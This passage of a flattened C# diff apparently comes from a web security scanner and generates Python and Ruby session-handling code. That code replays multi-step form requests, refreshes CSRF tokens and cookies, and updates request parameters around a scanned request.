Rb.AppendLine("end"); - - Code[0] = Py.ToString(); - Code[1] = Rb.ToString(); - return Code; - } - string[] MultiStepActionPseudoCodeToCode() - { - RequestDeclarationsInCode[MultiStepPreLabel] = new Dictionary(); - RequestDeclarationsInCode[MultiStepPostLabel] = new Dictionary(); - - string[] Code = new string[2]; - StringBuilder Py = new StringBuilder(); - StringBuilder Rb = new StringBuilder(); - string[] Steps = MultiStepActionPseudoCode.Split(new string[] { Environment.NewLine }, StringSplitOptions.RemoveEmptyEntries); - List PreInjectionSteps = new List(); - List PostInjectionSteps = new List(); - - string Mode = "-"; - for (int i = 0; i < Steps.Length; i++) - { - switch (Mode) - { - case ("-"): - if (Steps[i].Equals("PreInjectionCode:")) - Mode = "PreInjection"; - else if (Steps[i].Equals("PostInjectionCode:")) - Mode = "PostInjection"; - else - throw new Exception("Invalid Pseudo Code"); - break; - case ("PreInjection"): - if (Steps[i].Equals("PostInjectionCode:")) - Mode = "PostInjection"; - else - PreInjectionSteps.Add(Steps[i]); - break; - case ("PostInjection"): - PostInjectionSteps.Add(Steps[i]); - break; - } - } - Py.AppendLine(); - Py.Append(" "); Py.AppendLine("def multi_step_before_sending(self, req):"); - Py.Append(" "); Py.AppendLine("self.Trace(None, 'Going to perform pre-\\'Main Request\\' steps of Multi-Step form submission', 'User selected requests that must be sent as part of multi-step form submission before the \\'Main Request\\' is sent, are going to be sent now.')"); - - Rb.AppendLine(); - Rb.Append(" "); Rb.AppendLine("def multi_step_before_sending(req)"); - Rb.Append(" "); Rb.AppendLine("Trace(nil, 'Going to perform pre-\\'Main Request\\' steps of Multi-Step form submission', 'User selected requests that must be sent as part of multi-step form submission before the \\'Main Request\\' is sent, are going to be sent now.')"); - - string[] PreInjectionCode = RequestSourceAndParametersUpdatePseudoCodeToCode(MultiStepPreLabel, PreInjectionSteps); - Py.Append(PreInjectionCode[0]); - Rb.Append(PreInjectionCode[1]); - - Py.Append(" "); Py.AppendLine("return req"); - Py.AppendLine(); - - Rb.Append(" "); Rb.AppendLine("return req"); - Rb.Append(" "); Rb.AppendLine("end"); - Rb.AppendLine(); - - Py.AppendLine(); - Py.Append(" "); Py.AppendLine("def multi_step_after_sending(self, res, req):"); - Py.Append(" "); Py.AppendLine("self.Trace(None, 'Going to perform post-\\'Main Request\\' steps of Multi-Step form submission', 'User selected requests that must be sent as part of multi-step form submission after the \\'Main Request\\' is sent, are going to be sent now.')"); - - Rb.AppendLine(); - Rb.Append(" "); Rb.AppendLine("def multi_step_after_sending(res, req)"); - Rb.Append(" "); Rb.AppendLine("Trace(nil, 'Going to perform post-\\'Main Request\\' steps of Multi-Step form submission', 'User selected requests that must be sent as part of multi-step form submission after the \\'Main Request\\' is sent, are going to be sent now.')"); - - string[] PostInjectionCode = RequestSourceAndParametersUpdatePseudoCodeToCode(MultiStepPostLabel, PostInjectionSteps); - Py.Append(PostInjectionCode[0]); - Rb.Append(PostInjectionCode[1]); - if (PostInjectionCode[3].Equals("0")) - { - Py.Append(" "); Py.AppendLine("return res"); - Rb.Append(" "); Rb.AppendLine("return res"); - } - else - { - Py.Append(" "); Py.AppendLine(string.Format("return res_{0}", PostInjectionCode[3])); - Rb.Append(" "); Rb.AppendLine(string.Format("return res_{0}", PostInjectionCode[3])); - } - Py.AppendLine(); - Rb.Append(" "); Rb.AppendLine("end"); - Rb.AppendLine(); - - Code[0] = Py.ToString(); - Code[1] = Rb.ToString(); - return Code; - } - string[] UpdateCSRFTokensPseudoCodeToCode() - { - RequestDeclarationsInCode[UpdateCsrfLabel] = new Dictionary(); - - string[] Code = new string[2]; - StringBuilder Py = new StringBuilder(); - StringBuilder Rb = new StringBuilder(); - List TokenUpdateSteps = new List(UpdateCSRFTokensPseudoCode.Split(new string[] { Environment.NewLine }, StringSplitOptions.RemoveEmptyEntries)); - - Py.AppendLine(); - Py.Append(" "); Py.AppendLine("def update_csrf_tokens(self, req):"); - Py.Append(" "); Py.AppendLine("self.Trace(None, 'Going to update CSRF tokens of the \\'Main Request\\'', 'Any CSRF token in the \\'Main Request\\' that have been selected to be updated before the request is sent are going to be updated now.')"); - - Rb.AppendLine(); - Rb.Append(" "); Rb.AppendLine("def update_csrf_tokens(req)"); - Rb.Append(" "); Rb.AppendLine("Trace(nil, 'Going to update CSRF tokens of the \\'Main Request\\'', 'Any CSRF token in the \\'Main Request\\' that have been selected to be updated before the request is sent are going to be updated now.')"); - - string[] CSRFTokensUpdateCode = RequestSourceAndParametersUpdatePseudoCodeToCode(UpdateCsrfLabel, TokenUpdateSteps); - Py.Append(CSRFTokensUpdateCode[0]); - Rb.Append(CSRFTokensUpdateCode[1]); - - Py.Append(" "); Py.AppendLine("return req"); - Py.AppendLine(); - - Rb.Append(" "); Rb.AppendLine("return req"); - Rb.Append(" "); Rb.AppendLine("end"); - Rb.AppendLine(); - - Code[0] = Py.ToString(); - Code[1] = Rb.ToString(); - return Code; - } - - string[] RequestSourceAndParametersUpdatePseudoCodeToCode(string Label, List PseudoCodeLines) - { - return RequestSourceAndParametersUpdatePseudoCodeToCode(Label, PseudoCodeLines, 0, 0, 0); - } - string[] RequestSourceAndParametersUpdatePseudoCodeToCode(string Label, List PseudoCodeLines, int ReqCounter, int ResCounter, int ParamCounter) - { - string[] Code = new string[4]; - StringBuilder Py = new StringBuilder(); - StringBuilder Rb = new StringBuilder(); - int MaxCounter = 0; - RequestDeclarationsInCode[Label] = new Dictionary(); - - Regex RequestSourceRegex = new Regex(@"GetRequest\[(.*?)\] (.+?)\-(\d+)"); - - List RequestNames = new List(); - - foreach (string PseudoCodeLine in PseudoCodeLines) - { - if (PseudoCodeLine.StartsWith("GetRequest")) - { - Match M = RequestSourceRegex.Match(PseudoCodeLine); - if (M.Success) - { - string RequestName = M.Groups[1].Value; - RequestNames.Add(RequestName); - string Source = M.Groups[2].Value; - string ID = M.Groups[3].Value; - string RequestBinaryString = ""; - string RequestDeclarationName = ""; - string RequestDeclarationValue = ""; - ReqCounter++; - - switch (Source) - { - case ("Proxy"): - RequestBinaryString = Request.FromProxyLog(Int32.Parse(ID)).ToBinaryString(); - break; - case ("Probe"): - RequestBinaryString = Request.FromProbeLog(Int32.Parse(ID)).ToBinaryString(); - break; - case ("Test"): - RequestBinaryString = Request.FromTestLog(Int32.Parse(ID)).ToBinaryString(); - break; - case ("Shell"): - RequestBinaryString = Request.FromShellLog(Int32.Parse(ID)).ToBinaryString(); - break; - case ("Scan"): - RequestBinaryString = Request.FromScanLog(Int32.Parse(ID)).ToBinaryString(); - break; - default: - RequestBinaryString = Request.FromLog(Int32.Parse(ID), Source).ToBinaryString(); - break; - } - RequestDeclarationName = string.Format("{0}_req_{1}", Label, ReqCounter); - RequestDeclarationValue = string.Format("Request.FromBinaryString('{0}')#{1}-{2}", RequestBinaryString, Source, ID); - RequestDeclarationsInCode[Label][RequestDeclarationName] = RequestDeclarationValue; - - Py.Append(" "); Py.AppendLine(string.Format("#Getting request with name '{0}' from the stored values", RequestName)); - Py.Append(" "); Py.AppendLine(string.Format("req_{0} = self.reqs['{1}_req_{0}'].GetClone()", ReqCounter, Label)); - Py.Append(" "); Py.AppendLine(string.Format("req_{0}.SetSource(self.Name + 'SP')", ReqCounter)); - Py.Append(" "); Py.AppendLine(string.Format("req_{0}.SetCookie(self.cookie_store)", ReqCounter)); - - Rb.Append(" "); Rb.AppendLine(string.Format("#Getting request with name '{0}' from the stored values", RequestName)); - Rb.Append(" "); Rb.AppendLine(string.Format("req_{0} = @reqs['{1}_req_{0}'].get_clone", ReqCounter, Label)); - Rb.Append(" "); Rb.AppendLine(string.Format("req_{0}.set_source(name + 'SP')", ReqCounter)); - Rb.Append(" "); Rb.AppendLine(string.Format("req_{0}.set_cookie(@cookie_store)", ReqCounter)); - } - else if (PseudoCodeLine.Equals("GetRequest ToInject")) - { - MaxCounter = ReqCounter; - Py.Append(" "); Py.AppendLine("#Update the cookies of the request from the Cookie store"); - Py.Append(" "); Py.AppendLine("req.SetCookie(self.cookie_store)"); - - Rb.Append(" "); Rb.AppendLine("#Update the cookies of the request from the Cookie store"); - Rb.Append(" "); Rb.AppendLine("req.set_cookie(@cookie_store)"); - } - else - { - throw new Exception("Invalid Pseudo Code"); - } - } - else if (PseudoCodeLine.Equals("SendRequest")) - { - ResCounter++; - Py.Append(" "); Py.AppendLine(string.Format("res_{0} = None", ResCounter)); - Py.Append(" "); Py.AppendLine("try:"); - Py.Append(" "); Py.AppendLine(string.Format("res_{0} = req_{1}.Send()", ResCounter, ReqCounter)); - Py.Append(" "); Py.AppendLine(string.Format("self.Trace(req_{0}, 'Sent \\'{1}\\'', 'The \\'{2}\\' request has been successfully sent. Click on the load request/response button to view this request and its response.')", ReqCounter, RequestNames[RequestNames.Count - 1], RequestNames[RequestNames.Count - 1])); - Py.Append(" "); Py.AppendLine("except Exception as e:"); - Py.Append(" "); Py.AppendLine(string.Format("self.Trace(req_{0}, 'Error sending \\'{1}\\'', e.Message)", ReqCounter, RequestNames[RequestNames.Count - 1])); - Py.Append(" "); Py.AppendLine("raise e"); - Py.Append(" "); Py.AppendLine(string.Format("self.cookie_store.Add(req_{0}, res_{1})", ReqCounter, ResCounter)); - - Rb.Append(" "); Rb.AppendLine(string.Format("res_{0} = nil", ResCounter)); - Rb.Append(" "); Rb.AppendLine("begin"); - Rb.Append(" "); Rb.AppendLine(string.Format("res_{0} = req_{1}.send_req", ResCounter, ReqCounter)); - Rb.Append(" "); Rb.AppendLine(string.Format("Trace(req_{0}, 'Sent \\'{1}\\'', 'The \\'{2}\\' request has been successfully sent. Click on the load request/response button to view this request and its response.')", ReqCounter, RequestNames[RequestNames.Count - 1], RequestNames[RequestNames.Count - 1])); - Rb.Append(" "); Rb.AppendLine("rescue => e"); - Rb.Append(" "); Rb.AppendLine(string.Format("Trace(req_{0}, 'Error sending \\'{1}\\'', e.Message)", ReqCounter, RequestNames[RequestNames.Count - 1])); - Rb.Append(" "); Rb.AppendLine("raise e"); - Rb.Append(" "); Rb.AppendLine("end"); - Rb.Append(" "); Rb.AppendLine(string.Format("@cookie_store.add(req_{0}, res_{1})", ReqCounter, ResCounter)); - } - else if (PseudoCodeLine.StartsWith("UpdateRequest")) - { - string CurrentRequestParameterName = ""; - string CurrentResponseParameterName = ""; - if (ReqCounter == MaxCounter) - CurrentRequestParameterName = "req";//request to inject - else - CurrentRequestParameterName = string.Format("req_{0}", ReqCounter); - if (ResCounter == 0) - CurrentResponseParameterName = "res";//response from injection - else - CurrentResponseParameterName = string.Format("res_{0}", ResCounter); - ParamCounter++; - string[] ParametersUpdateCode = ParametersUpdatePseudoCodeToCode(Label, PseudoCodeLine, CurrentRequestParameterName, CurrentResponseParameterName, ParamCounter, RequestNames); - Py.Append(ParametersUpdateCode[0]); - Rb.Append(ParametersUpdateCode[1]); - } - } - Code[0] = Py.ToString(); - Code[1] = Rb.ToString(); - Code[2] = ReqCounter.ToString(); - Code[3] = ResCounter.ToString(); - return Code; - } - string[] ParametersUpdatePseudoCodeToCode(string Label, string PseudoCodeLine, string RequestParameterName, string ResponseParameterName, int ParamCounter, List RequestNames) - { - string[] Code = new string[4]; - StringBuilder Py = new StringBuilder(); - StringBuilder Rb = new StringBuilder(); - - StringBuilder PySpl = new StringBuilder(); - StringBuilder RbSpl = new StringBuilder(); - - string CurrentRequestName = ""; - string PreviousRequestName = ""; - - string PreviousRequestParameterName = ResponseParameterName.Replace("res", "req"); - - if (ResponseParameterName.Equals("res")) - { - PreviousRequestName = "Main Request"; - } - else if (RequestNames.Count > 1) - { - PreviousRequestName = RequestNames[RequestNames.Count - 2]; - } - else - { - PreviousRequestName = "Unnamed Request"; - } - if (RequestParameterName.Equals("req")) - { - CurrentRequestName = "Main Request"; - if (RequestNames.Count > 0) - { - PreviousRequestName = RequestNames[RequestNames.Count - 1]; - } - else - { - PreviousRequestName = "Unnamed Request"; - } - } - else if (RequestNames.Count > 0) - { - CurrentRequestName = RequestNames[RequestNames.Count - 1]; - } - else - { - CurrentRequestName = "Unnamed Request"; - } - - - Regex ParameterUpdateRegex = new Regex(@"UpdateRequest (UrlPathPart|Query|Body|Cookie|Header) (.+?) From (LastResponse|User) (Html|Regex|Hint)(.*)"); - - Match M = ParameterUpdateRegex.Match(PseudoCodeLine); - //"UpdateRequest (UrlPathPart|Query|Body|Cookie|Header) (.+?) From (LastResponse|User) (Html|Regex|Hint)(.*)" - if (M.Success) - { - - string RequestSection = M.Groups[1].Value; - string ParameterName = M.Groups[2].Value; - string UpdateFrom = M.Groups[3].Value; - string UpdateType = M.Groups[4].Value; - string RegexValueOrHint = M.Groups[5].Value; - if (RegexValueOrHint.Length > 1) RegexValueOrHint = RegexValueOrHint.Substring(1); - - string CurrentParameterValueVariableName = string.Format("param_value_{0}", ParamCounter); - if (UpdateFrom.Equals("LastResponse")) - { - if (UpdateType.Equals("Html")) - { - Py.Append(" "); Py.AppendLine(string.Format("{0} = None", CurrentParameterValueVariableName)); - Py.Append(" "); Py.AppendLine("try:"); - Py.Append(" "); Py.AppendLine("#Extract the parameter value from the HTML Form fields by parameter name"); - Py.Append(" "); Py.AppendLine(string.Format("{0} = {1}.Html.GetValues('input', 'name', '{2}', 'value')[0]", CurrentParameterValueVariableName, ResponseParameterName, ParameterName)); - Py.Append(" "); Py.AppendLine(string.Format("self.Trace({0}, 'Reading parameter value from response of \\'{1}\\'', 'Read the response HTML input field with name {2} and got the value -' + {3} + '\\r\\n\\r\\nClick on the load request/response button to view this response.')", PreviousRequestParameterName, PreviousRequestName, ParameterName, CurrentParameterValueVariableName)); - Py.Append(" "); Py.AppendLine("except Exception as e:"); - Py.Append(" "); Py.AppendLine(string.Format("self.Trace({0}, 'Error reading parameter value from response of \\'{1}\\'', 'There are no HTML input fields in the response with the name \\'{2}\\' that have a valid value attribute.\\r\\n\\r\\nClick on the load request/response button to view this response.')", PreviousRequestParameterName, PreviousRequestName, ParameterName)); - Py.Append(" "); Py.AppendLine("raise e"); - Py.Append(" "); Py.AppendLine("pass");//this is required because self.Trace and raise lines will be removed in the update_req methods - - Rb.Append(" "); Rb.AppendLine(string.Format("{0} = nil", CurrentParameterValueVariableName)); - Rb.Append(" "); Rb.AppendLine("begin"); - Rb.Append(" "); Rb.AppendLine("#Extract the parameter value from the HTML Form fields by parameter name"); - Rb.Append(" "); Rb.AppendLine(string.Format("{0} = {1}.html.get_values('input', 'name', '{2}', 'value')[0]", CurrentParameterValueVariableName, ResponseParameterName, ParameterName)); - Rb.Append(" "); Rb.AppendLine(string.Format(@"Trace({0}, 'Reading parameter value from response of \'{1}\'', 'Read the response HTML input field with name {2} and got the value -' + {3} + ""\r\n\r\nClick on the load request/response button to view this response."")", PreviousRequestParameterName, PreviousRequestName, ParameterName, CurrentParameterValueVariableName)); - Rb.Append(" "); Rb.AppendLine("rescue => e"); - Rb.Append(" "); Rb.AppendLine(string.Format(@"Trace({0}, 'Error reading parameter value from response of \'{1}\'', 'There are no HTML input fields in the response with the name \'{2}\' that have a valid value attribute' + ""\r\n\r\nClick on the load request/response button to view this response."")", PreviousRequestParameterName, PreviousRequestName, ParameterName)); - Rb.Append(" "); Rb.AppendLine("raise e"); - Rb.Append(" "); Rb.AppendLine("end"); - } - else if (UpdateType.Equals("Regex")) - { - RegexValueOrHint = RegexValueOrHint.Substring(1, RegexValueOrHint.Length - 2).Replace("'", "\\'"); - - Py.Append(" "); Py.AppendLine(string.Format("{0} = None", CurrentParameterValueVariableName)); - Py.Append(" "); Py.AppendLine("try:"); - Py.Append(" "); Py.AppendLine("#Extract the parameter value from the Response body using Regex"); - Py.Append(" "); Py.AppendLine(string.Format("{0} = re.search('{1}', {2}.BodyString).groups()[0]", CurrentParameterValueVariableName, RegexValueOrHint, ResponseParameterName)); - Py.Append(" "); Py.AppendLine(string.Format("self.Trace({0}, 'Reading parameter value from response of \\'{1}\\'', 'Parsed the response with the regex \\'{2}\\' and got the value -' + {3} + '.\\r\\n Using this to update the {4} parameter.\\r\\n\\r\\nClick on the load request/response button to view this response.')", PreviousRequestParameterName, PreviousRequestName, RegexValueOrHint, CurrentParameterValueVariableName, ParameterName)); - Py.Append(" "); Py.AppendLine("except Exception as e:"); - Py.Append(" "); Py.AppendLine(string.Format("self.Trace({0}, 'Error reading parameter value from response of \\'{1}\\'', 'There are no matches for the regex \\'{2}\\' in the response, unable to update the {3} parameter.\\r\\n\\r\\nClick on the load request/response button to view this response.')", PreviousRequestParameterName, PreviousRequestName, RegexValueOrHint, ParameterName)); - Py.Append(" "); Py.AppendLine("raise e"); - Py.Append(" "); Py.AppendLine("pass");//this is required because self.Trace and raise lines will be removed in the update_req methods - - Rb.Append(" "); Rb.AppendLine(string.Format("{0} = nil", CurrentParameterValueVariableName)); - Rb.Append(" "); Rb.AppendLine("begin"); - Rb.Append(" "); Rb.AppendLine("#Extract the parameter value from the Response body using Regex"); - Rb.Append(" "); Rb.AppendLine(string.Format("{0} = {1}.body_string.scan(/{2}/)[0][0]", CurrentParameterValueVariableName, ResponseParameterName, RegexValueOrHint)); - Rb.Append(" "); Rb.AppendLine(string.Format(@"Trace({0}, 'Reading parameter value from response of \'{1}\'', 'Parsed the response with the regex \'{2}\' and got the value -' + {3} + ""\r\nUsing this to update the {4} parameter\r\n\r\nClick on the load request/response button to view this response."")", PreviousRequestParameterName, PreviousRequestName, RegexValueOrHint, CurrentParameterValueVariableName, ParameterName)); - Rb.Append(" "); Rb.AppendLine("rescue => e"); - Rb.Append(" "); Rb.AppendLine(string.Format(@"Trace({0}, 'Error reading parameter value from response of \'{1}\'', 'There are no matches for the regex \'{2}\' in the response, unable to update the {3} parameter' + ""\r\n\r\nClick on the load request/response button to view this response."")", PreviousRequestParameterName, PreviousRequestName, RegexValueOrHint, ParameterName)); - Rb.Append(" "); Rb.AppendLine("raise e"); - Rb.Append(" "); Rb.AppendLine("end"); - } - } - else if (UpdateFrom.Equals("User")) - { - Py.Append(" "); Py.AppendLine("#Get the parameter value from the user at runtime"); - Py.Append(" "); Py.AppendLine(string.Format("self.Trace(None, 'Asking the user for parameter value', 'A prompt was thrown to the user along with a hint to enter the value of the {0} parameter')", ParameterName)); - Py.Append(" "); Py.AppendLine(string.Format("{0} = AskUser.ForString('Enter the parameter value for Session Plugin:', self.get_ask_user_message_format('{1}', '{2}', '{3}'))", CurrentParameterValueVariableName, RequestSection, ParameterName, RegexValueOrHint)); - Py.Append(" "); Py.AppendLine(string.Format("self.Trace(None, 'Got parameter value from the user', 'A prompt was thrown to the user and the user entered the value -' + {0} + '.\\r\\n Using this to update the {1} parameter.')", CurrentParameterValueVariableName, ParameterName)); - - Rb.Append(" "); Rb.AppendLine("#Get the parameter value from the user at runtime"); - Rb.Append(" "); Rb.AppendLine(string.Format(@"Trace(nil, 'Asking the user for parameter value', 'A prompt was thrown to the user along with a hint to enter the value of the {0} parameter')", ParameterName)); - Rb.Append(" "); Rb.AppendLine(string.Format("{0} = AskUser.for_string('Enter the parameter value for Session Plugin:', get_ask_user_message_format('{1}', '{2}', '{3}'))", CurrentParameterValueVariableName, RequestSection, ParameterName, RegexValueOrHint)); - Rb.Append(" "); Rb.AppendLine(string.Format(@"Trace(nil, 'Got parameter value from the user', 'A prompt was thrown to the user and the user entered the value -' + {0} + ""\r\nUsing this to update the {1} parameter."")", CurrentParameterValueVariableName, ParameterName)); - } - switch (RequestSection) - { - case ("UrlPathPart"): - Py.Append(" ");Py.AppendLine("#Update the Url path part field with new value"); - Py.Append(" "); Py.AppendLine(string.Format("upp = {0}.UrlPathParts", RequestParameterName)); - Py.Append(" "); Py.AppendLine(string.Format("if {0} < len(upp):", ParameterName)); - Py.Append(" "); Py.AppendLine(string.Format("upp[{0}] = {1}", ParameterName, CurrentParameterValueVariableName)); - Py.Append(" "); Py.AppendLine(string.Format("{0}.UrlPathParts = upp", RequestParameterName)); - Py.Append(" "); Py.AppendLine("else:"); - Py.Append(" "); Py.AppendLine(string.Format("self.Trace({0}, 'Error updating {1}', 'The {2} request contains only ' + str(len(upp)) + ' UrlPathParts so could not update at position {3}. (Please note that UrlPathParts positions are zero-based so first position is 0, second is 1 and so on)\\r\\n\\r\\nThe Request is:\\r\\n\\r\\n' + {4}.ToString())", RequestParameterName, CurrentRequestName, CurrentRequestName, ParameterName, RequestParameterName)); - Py.Append(" "); Py.AppendLine("raise Exception('Error updating request urlpathpart parameter')"); - Py.Append(" "); Py.AppendLine("pass");//this is required because self.Trace and raise lines will be removed in the update_req methods - PySpl.Append(Py.ToString()); - - Rb.Append(" ");Rb.AppendLine("#Update the Url path part field with new value"); - Rb.Append(" "); Rb.AppendLine(string.Format("upp = {0}.url_path_parts", RequestParameterName)); - Rb.Append(" "); Rb.AppendLine(string.Format("if {0} < upp.count", ParameterName)); - Rb.Append(" "); Rb.AppendLine(string.Format("upp[{0}] = {1}", ParameterName, CurrentParameterValueVariableName)); - Rb.Append(" "); Rb.AppendLine(string.Format("{0}.url_path_parts = upp", RequestParameterName)); - Rb.Append(" "); Rb.AppendLine("else"); - Rb.Append(" "); Rb.AppendLine(string.Format(@"Trace({0}, 'Error updating {1}', 'The {2} request contains only ' + upp.count.to_s + ' UrlPathParts so could not update at position {3}. (Please note that UrlPathParts positions are zero-based so first position is 0, second is 1 and so on)' + ""\r\n\r\nThe Request is:\r\n\r\n"" + {4}.to_string)", RequestParameterName, CurrentRequestName, CurrentRequestName, ParameterName, RequestParameterName)); - Rb.Append(" "); Rb.AppendLine("raise 'Error updating request urlpathpart parameter'"); - Rb.Append(" "); Rb.AppendLine("end"); - RbSpl.Append(Rb.ToString()); - break; - case ("Query"): - //Update the query parameter of specified request - Py.Append(" ");Py.AppendLine("#Update the Query parameter with the new value"); - Py.Append(" "); Py.AppendLine(string.Format("if {0}.Query.Has('{1}'):", RequestParameterName, ParameterName)); - Py.Append(" "); Py.AppendLine(string.Format("{0}.Query.Set('{1}', {2})", RequestParameterName, ParameterName, CurrentParameterValueVariableName)); - Py.Append(" "); Py.AppendLine("else:"); - Py.Append(" "); Py.AppendLine(string.Format("self.Trace({0}, 'Error updating {1}', 'The {2} request does not contain the query parameter {3}\\r\\n\\r\\nThe Request is:\\r\\n\\r\\n' + {4}.ToString())", RequestParameterName, CurrentRequestName, CurrentRequestName, ParameterName, RequestParameterName)); - Py.Append(" "); Py.AppendLine("raise Exception('Error updating request query parameter')"); - Py.Append(" "); Py.AppendLine("pass");//this is required because self.Trace and raise lines will be removed in the update_req methods - PySpl.Append(Py.ToString()); - - Rb.Append(" ");Rb.AppendLine("#Update the Query parameter with the new value"); - Rb.Append(" "); Rb.AppendLine(string.Format("if {0}.query.has('{1}')", RequestParameterName, ParameterName)); - Rb.Append(" "); Rb.AppendLine(string.Format("{0}.query.set('{1}', {2})", RequestParameterName, ParameterName, CurrentParameterValueVariableName)); - Rb.Append(" "); Rb.AppendLine("else"); - Rb.Append(" "); Rb.AppendLine(string.Format(@"Trace({0}, 'Error updating {1}', 'The {2} request does not contain the query parameter {3}' + ""\r\n\r\nThe Request is:\r\n\r\n"" + {4}.to_string)", RequestParameterName, CurrentRequestName, CurrentRequestName, ParameterName, RequestParameterName)); - Rb.Append(" "); Rb.AppendLine("raise 'Error updating request query parameter'"); - Rb.Append(" "); Rb.AppendLine("end"); - RbSpl.Append(Rb.ToString()); - - if (RequestParameterName.Equals("req")) - { - //Update the query parameter of all requests that have this parameter - Py.Append(" "); Py.AppendLine("#Update the Query parameter of the other requests that have the same parameter with the new value"); - Py.Append(" "); Py.AppendLine("for r_n in self.reqs.keys():"); - Py.Append(" "); Py.AppendLine(string.Format("if self.reqs[r_n].Query.Has('{0}'):", ParameterName)); - Py.Append(" "); Py.AppendLine(string.Format("self.reqs[r_n].Query.Set('{0}', {1})", ParameterName, CurrentParameterValueVariableName)); - - Rb.Append(" "); Rb.AppendLine("#Update the Query parameter of the other requests that have the same parameter with the new value"); - Rb.Append(" "); Rb.AppendLine("for r_n in @reqs.keys"); - Rb.Append(" "); Rb.AppendLine(string.Format("if @reqs[r_n].query.has('{0}')", ParameterName)); - Rb.Append(" "); Rb.AppendLine(string.Format("@reqs[r_n].query.set('{0}', {1})", ParameterName, CurrentParameterValueVariableName)); - Rb.Append(" "); Rb.AppendLine("end"); - Rb.Append(" "); Rb.AppendLine("end"); - } - break; - case ("Body"): - //Update the body parameter of specified request - Py.Append(" ");Py.AppendLine("#Update the Body parameter with the new value"); - Py.Append(" "); Py.AppendLine(string.Format("if {0}.Body.Has('{1}'):", RequestParameterName, ParameterName)); - Py.Append(" "); Py.AppendLine(string.Format("{0}.Body.Set('{1}', {2})", RequestParameterName, ParameterName, CurrentParameterValueVariableName)); - Py.Append(" "); Py.AppendLine("else:"); - Py.Append(" "); Py.AppendLine(string.Format("self.Trace({0}, 'Error updating {1}', 'The {2} request does not contain the body parameter {3}\\r\\n\\r\\nThe Request is:\\r\\n\\r\\n' + {4}.ToString())", RequestParameterName, CurrentRequestName, CurrentRequestName, ParameterName, RequestParameterName)); - Py.Append(" "); Py.AppendLine("raise Exception('Error updating request body parameter')"); - Py.Append(" "); Py.AppendLine("pass");//this is required because self.Trace and raise lines will be removed in the update_req methods - PySpl.Append(Py.ToString()); - - Rb.Append(" ");Rb.AppendLine("#Update the Body parameter with the new value"); - Rb.Append(" "); Rb.AppendLine(string.Format("if {0}.body.has('{1}')", RequestParameterName, ParameterName)); - Rb.Append(" "); Rb.AppendLine(string.Format("{0}.body.set('{1}', {2})", RequestParameterName, ParameterName, CurrentParameterValueVariableName)); - Rb.Append(" "); Rb.AppendLine("else"); - Rb.Append(" "); Rb.AppendLine(string.Format(@"Trace({0}, 'Error updating {1}', 'The {2} request does not contain the body parameter {3}' + ""\r\n\r\nThe Request is:\r\n\r\n"" + {4}.to_string)", RequestParameterName, CurrentRequestName, CurrentRequestName, ParameterName, RequestParameterName)); - Rb.Append(" "); Rb.AppendLine("raise 'Error updating request body parameter'"); - Rb.Append(" "); Rb.AppendLine("end"); - RbSpl.Append(Rb.ToString()); - - if (RequestParameterName.Equals("req")) - { - //Update the body parameter of all requests that have this parameter - Py.Append(" "); Py.AppendLine("#Update the Body parameter of the other requests that have the same parameter with the new value"); - Py.Append(" "); Py.AppendLine("for r_n in self.reqs.keys():"); - Py.Append(" "); Py.AppendLine(string.Format("if self.reqs[r_n].Body.Has('{0}'):", ParameterName)); - Py.Append(" "); Py.AppendLine(string.Format("self.reqs[r_n].Body.Set('{0}', {1})", ParameterName, CurrentParameterValueVariableName)); - - Rb.Append(" "); Rb.AppendLine("#Update the Body parameter of the other requests that have the same parameter with the new value"); - Rb.Append(" "); Rb.AppendLine("for r_n in @reqs.keys"); - Rb.Append(" "); Rb.AppendLine(string.Format("if @reqs[r_n].body.has('{0}')", ParameterName)); - Rb.Append(" "); Rb.AppendLine(string.Format("@reqs[r_n].body.set('{0}', {1})", ParameterName, CurrentParameterValueVariableName)); - Rb.Append(" "); Rb.AppendLine("end"); - Rb.Append(" "); Rb.AppendLine("end"); - - } - break; - case ("Cookie"): - //Update the cookie parameter of specified request - Py.Append(" ");Py.AppendLine("#Update the Cookie parameter with the new value"); - Py.Append(" "); Py.AppendLine(string.Format("if {0}.Cookie.Has('{1}'):", RequestParameterName, ParameterName)); - Py.Append(" "); Py.AppendLine(string.Format("{0}.Cookie.Set('{1}', {2})", RequestParameterName, ParameterName, CurrentParameterValueVariableName)); - Py.Append(" "); Py.AppendLine("else:"); - Py.Append(" "); Py.AppendLine(string.Format("self.Trace({0}, 'Error updating {1}', 'The {2} request does not contain the cookie parameter {3}\\r\\n\\r\\nThe Request is:\\r\\n\\r\\n' + {4}.ToString())", RequestParameterName, CurrentRequestName, CurrentRequestName, ParameterName, RequestParameterName)); - Py.Append(" "); Py.AppendLine("raise Exception('Error updating request cookie parameter')"); - Py.Append(" "); Py.AppendLine("pass");//this is required because self.Trace and raise lines will be removed in the update_req methods - PySpl.Append(Py.ToString()); - - Rb.Append(" ");Rb.AppendLine("#Update the Cookie parameter with the new value"); - Rb.Append(" "); Rb.AppendLine(string.Format("if {0}.cookie.has('{1}')", RequestParameterName, ParameterName)); - Rb.Append(" "); Rb.AppendLine(string.Format("{0}.cookie.set('{1}', {2})", RequestParameterName, ParameterName, CurrentParameterValueVariableName)); - Rb.Append(" "); Rb.AppendLine("else"); - Rb.Append(" "); Rb.AppendLine(string.Format(@"Trace({0}, 'Error updating {1}', 'The {2} request does not contain the cookie parameter {3}' + ""\r\n\r\nThe Request is:\r\n\r\n"" + {4}.to_string)", RequestParameterName, CurrentRequestName, CurrentRequestName, ParameterName, RequestParameterName)); - Rb.Append(" "); Rb.AppendLine("raise 'Error updating request cookie parameter'"); - Rb.Append(" "); Rb.AppendLine("end"); - RbSpl.Append(Rb.ToString()); - - if (RequestParameterName.Equals("req")) - { - //Update the cookie parameter of all requests that have this parameter - Py.Append(" "); Py.AppendLine("#Update the Cookie parameter of the other requests that have the same parameter with the new value"); - Py.Append(" "); Py.AppendLine("for r_n in self.reqs.keys():"); - Py.Append(" "); Py.AppendLine(string.Format("if self.reqs[r_n].Cookie.Has('{0}'):", ParameterName)); - Py.Append(" "); Py.AppendLine(string.Format("self.reqs[r_n].Cookie.Set('{0}', {1})", ParameterName, CurrentParameterValueVariableName)); - - Rb.Append(" "); Rb.AppendLine("#Update the Cookie parameter of the other requests that have the same parameter with the new value"); - Rb.Append(" "); Rb.AppendLine("for r_n in @reqs.keys"); - Rb.Append(" "); Rb.AppendLine(string.Format("if @reqs[r_n].cookie.has('{0}')", ParameterName)); - Rb.Append(" "); Rb.AppendLine(string.Format("@reqs[r_n].cookie.set('{0}', {1})", ParameterName, CurrentParameterValueVariableName)); - Rb.Append(" "); Rb.AppendLine("end"); - Rb.Append(" "); 